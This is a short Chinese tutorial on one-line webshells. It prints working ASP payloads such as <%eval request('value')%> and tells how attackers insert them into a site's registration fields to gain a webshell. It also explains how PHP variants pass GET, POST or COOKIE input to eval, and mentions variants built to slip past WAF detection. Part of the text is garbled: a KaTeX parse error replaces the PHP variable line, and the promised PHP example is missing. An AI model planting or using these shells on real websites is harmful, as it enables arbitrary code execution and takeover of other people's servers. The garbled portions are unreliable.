一句话木马原理

一句话木马短小精悍，而且功能强大，隐蔽性非常好，在入侵中始终扮演着强大的作用。
一句话木马就是只需要一行代码的木马，短短一行代码，就能做到和大马相当的功能。为了绕过waf的检测，一句话木马出现了无数种变形，但本质是不变的：木马的函数执行了我们发送的命令。
黑客在注册信息的电子邮箱或者个人主页等中插入类似如下代码：
<%execute request(“value”)%>
其中value是值，所以你可以更改自己的值，前面的request就是获取这个值
<%eval request(“value”)%>(现在比较多见的，而且字符少，对表单字数有限制的地方特别的实用)
当知道了数据库的URL，就可以利用本地一张网页进行连接得到Webshell。（不知道数据库也可以，只要知道<%eval request(“value”)%>这个文件被插入到哪一个ASP文件里面就可以了。）
这就被称为一句话木马，它是基于B/S结构的。
在php语言中我们可以通过GET 、POST 、COOKIE 这三种方式向一个网站提交数据，一句话木马用
KaTeX parse error: Double superscript at position 8: _GET[' '̲]、_POST[’ ‘]、$_COOKIE[’ '] 接收我们传递的数据，并把接收的数据传递给一句话木马中执行命令的函数，进而执行命令。所以看到的经典一句话木马大多都是只有两个部分，一个是可以执行代码的函数部分，一个是接收数据的部分。
就像是这样：执行命令的函数（接收的数据）

其中ｅｖａｌ就是执行命令的函数，$_POST[‘a’]就是接收的数据。ｅｖａｌ函数把接收的数据当作php代码来执行。这样我们就能够让插了一句话木马的网站执行我们传递过去的任意php语句。这便是一句话木马的强大之处。